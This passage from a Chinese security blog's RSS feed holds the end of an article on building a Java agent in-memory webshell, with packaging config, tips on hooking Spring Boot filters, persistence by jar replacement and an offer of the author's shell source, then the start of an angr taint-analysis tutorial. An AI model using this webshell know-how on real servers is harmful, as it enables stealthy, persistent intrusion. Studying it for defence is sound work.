14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">pom.xml 中加入此配置把自定义的MANIFEST.MF打到jar包中</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;plugin&gt;<br/>                &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt;<br/>                &lt;version&gt;3.2.0&lt;/version&gt;<br/>                &lt;configuration&gt;<br/>                    &lt;archive&gt;<br/>                        &lt;manifestEntries&gt;&lt;/manifestEntries&gt;<br/>                        &lt;manifestFile&gt;src/main/resources/META-INF/MANIFEST.MF&lt;/manifestFile&gt;<br/>                    &lt;/archive&gt;<br/>                &lt;/configuration&gt;<br/>            &lt;/plugin&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">mvn clean package -DskipTests 编译 。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">几个坑点</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最后记录一下整个编写测试中遇到的坑点。</p><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 刚开始直接找了几个项目编译测试均失败，后发现是tools.jar 的问题，最后用URLClassLoader加载目标环境下tools.jar 解决。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 测试springboot jar包启动后需访问一下web才会加载ApplicationFilterChain类，后续才能获取到再修改。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 本项目注入的内存马非常容易修改，测试了一下注入蚁剑webshell，因为蚁剑连接webshell不是用的反射会连接失败。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. 刚开始想改的是threedr3am师傅的ZhouYu项目，发现直接持久化直接替换jar包会导致服务异常，重启替换后的jar之后shell可正常使用，后续添加持久化功能可以在注入进程退出时再执行替换jar包。 笔者找到的一些agent内存马项目</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">   <a href="https://github.com/ethushiroha/JavaAgentTools" target="_blank">https://github.com/ethushiroha/JavaAgentTools</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">   <a href="https://github.com/threedr3am/ZhouYu" target="_blank">https://github.com/threedr3am/ZhouYu</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">   <a href="https://github.com/su18/MemoryShell" target="_blank">https://github.com/su18/MemoryShell</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">5. windows下自动获取的agent路径前有一个`/`,适配windows需要添加一段代码判断为windows时把前面的`/`去掉</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">引用和参考</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484071&amp;idx=1&amp;sn=eb5dad6fdb758a41311e3ac8998433a2&amp;scene=21#wechat_redirect" title="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484071&amp;idx=1&amp;sn=eb5dad6fdb758a41311e3ac8998433a2&amp;scene=21#wechat_redirect" style="line-height: 1.75;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/YVwqD6SwUq_jkEe_9afBCg" target="_blank">https://mp.weixin.qq.com/s/YVwqD6SwUq_jkEe_9afBCg</a></a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484158&amp;idx=1&amp;sn=280bdcdf8172f29f77e9159c730be1a2&amp;scene=21#wechat_redirect" title="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484158&amp;idx=1&amp;sn=280bdcdf8172f29f77e9159c730be1a2&amp;scene=21#wechat_redirect" style="line-height: 1.75;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/gmKSmW5SIME8lWKj8bvhWw" target="_blank">https://mp.weixin.qq.com/s/gmKSmW5SIME8lWKj8bvhWw</a></a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/" target="_blank">https://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/</a></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">彩蛋</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">公众号后台回复<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Agent</code>获得笔者的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">BehindShell</code>源码</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485840">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1e31d6e0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485840%26idx%3D1%26sn%3D2415ed871482da0a9a63d812f508587e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Mar 2023 10:49:00 +0800</pubDate>
    </item>
    <item>
      <title>Angr Taint Analysis</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485835&amp;idx=1&amp;sn=a8344b7ae4ec183b388b0952baa54adc</link>
      <description>本人一直致力于二进制分析和自动化漏洞挖掘领域，这次算是抛砖引玉</description>
      <content:encoded><![CDATA[<p>
原创 <span>时钟</span> <span>2023-03-14 11:32</span> <span style="display: inline-block;">北京</span>
</p>

<p>本人一直致力于二进制分析和自动化漏洞挖掘领域，这次算是抛砖引玉</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=66291a39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sNrfibXJVicYyseJ0DibIDVhwdKfJYDYSUeHBhtLibibmEyjxZjQ7JVNHzxZQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">angr taint analysis</h1><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">本人一直致力于二进制分析和自动化漏洞挖掘领域（Fuzzing and symbolic execution or other），这次算是抛砖引玉，希望可以大家多多指导，欢迎加wx交流，公众号里面发1有我wx</p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">污点分析的基本分类：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 动态污点分析</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 静态污点分析</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上述分析方式都有自己的优缺点，对于动态污点分析来说，缺点如下：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 分析结果依赖输入。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 一些隐式调用难以跟踪。</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">静态污点分析的缺点如下：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 路径爆炸问题。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 一些程序特性只有在动态执行的过程中才会展示出来。</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">angr本身的知识内容多而且杂乱，下面对一些核心的基础知识进行一下讲解。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">angr</h2><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.56328125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6d9e2eb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sNiaQicriaicfW2h4W25k3umGFPJvbIPz90ATpSEEcAdLdPgOpdiaID6L2S2Q%2F640%3Fwx_fmt%3Dpng"/></p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://web.wpi.edu/Pubs/E-project/Available/E-project-101816-114710/unrestricted/echeng_mqp_angr.pdf" target="_blank">https://web.wpi.edu/Pubs/E-project/Available/E-project-101816-114710/unrestricted/echeng_mqp_angr.pdf</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>angr一般优势在于可以为逆向工程查找函数，生成函数调用图，同时其还具备一个符号执行引擎。上述研究项目为angr研究设置了三个目标：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 探索angr的符号执行能力并记录其复杂性。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 探索Angr作为二进制分析工具的能力。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 为angr创建一个平台，使得逆向工程师更容易接触他们。</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">从这三个目标来看，这是一个非常适合新手学习angr的项目，展示的都是很基本的功能。</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://archive.fosdem.org/2017/schedule/event/valgrind_angr/attachments/slides/1797/export/events/attachments/valgrind_angr/slides/1797/slides.pdf" target="_blank">https://archive.fosdem.org/2017/schedule/event/valgrind_angr/attachments/slides/1797/export/events/attachments/valgrind_angr/slides/1797/slides.pdf</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这个（应该）是Angr团队的一个演讲，讲的更好一点，可以理解一下Angr的底层实现。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">vex</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>angr用VEX作为中间表示用来进行二进制分析，pyVEX就是一个对于VEX的python封包。其实中间语言存在于很多场合，最主要的功能是为了解决二进制分析中面临多种架构的问题，使得一次分析可以运行在多个架构之上。最主要的中间表示如下：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Register name，VEX models 存放寄存器在一个单独的内存空间里面，用offset来定位不同的寄存器。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Mem access.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Mem segmentation.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Instruction side-effects. 很多指令具备Side-effects。比如push pop同时还会影响stack pointer, thumb mode on arm很多指令都影响flags。IR可以相应的表示这些影响。</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">VEX主要存在以下结构，这个非常重要：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <strong style="line-height: 1.75;color: rgb(255, 118, 118);">Expressions.</strong> IR Expressions represent a calculated or constant value. This includes memory loads, register reads, and results of arithmetic operations.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <strong style="line-height: 1.75;color: rgb(255, 118, 118);">Operations.</strong> IR Operations describe a <span style="font-style: italic;">modification</span> of IR Expressions. This includes integer arithmetic, floating-point arithmetic, bit operations, and so forth. An IR Operation applied to IR Expressions yields an IR Expression as a result.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <strong style="line-height: 1.75;color: rgb(255, 118, 118);">Temporary variables.</strong> VEX uses temporary variables as internal registers: IR Expressions are stored in temporary variables between use. The content of a temporary variable can be retrieved using an IR Expression. These temporaries are numbered, starting at <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">t0</code>. These temporaries are strongly typed (i.e., &#34;64-bit integer&#34; or &#34;32-bit float&#34;).</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <strong style="line-height: 1.75;color: rgb(255, 118, 118);">Statements.</strong> IR Statements model changes in the state of the target machine, such as the effect of memory stores and register writes. IR Statements use IR Expressions for values they may need. For example, a memory store <span style="font-style: italic;">IR Statement</span> uses an <span style="font-style: italic;">IR Expression</span> for the target address of the write, and another <span style="font-style: italic;">IR Expression</span> for the content.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <strong style="line-height: 1.75;color: rgb(255, 118, 118);">Blocks.</strong> An IR Block is a collection of IR Statements, representing an extended basic block (termed &#34;IR Super Block&#34; or &#34;IRSB&#34;) in the target architecture. A block can have several exits. For conditional exits from the middle of a basic block, a special <span style="font-style: italic;">Exit</span> IR Statement is used. An IR Expression is used to represent the target of the unconditional exit at the end of the block.</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上面可以了解angr的一些基本概念。详细例子可以参考下面：</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://github.com/angr/pyvex" target="_blank">https://github.com/angr/pyvex</a></p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">这些语言描述是很难的，建议还是根据官方例子调试一下，就知道每个IR对应的意思了。</p></blockquote><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  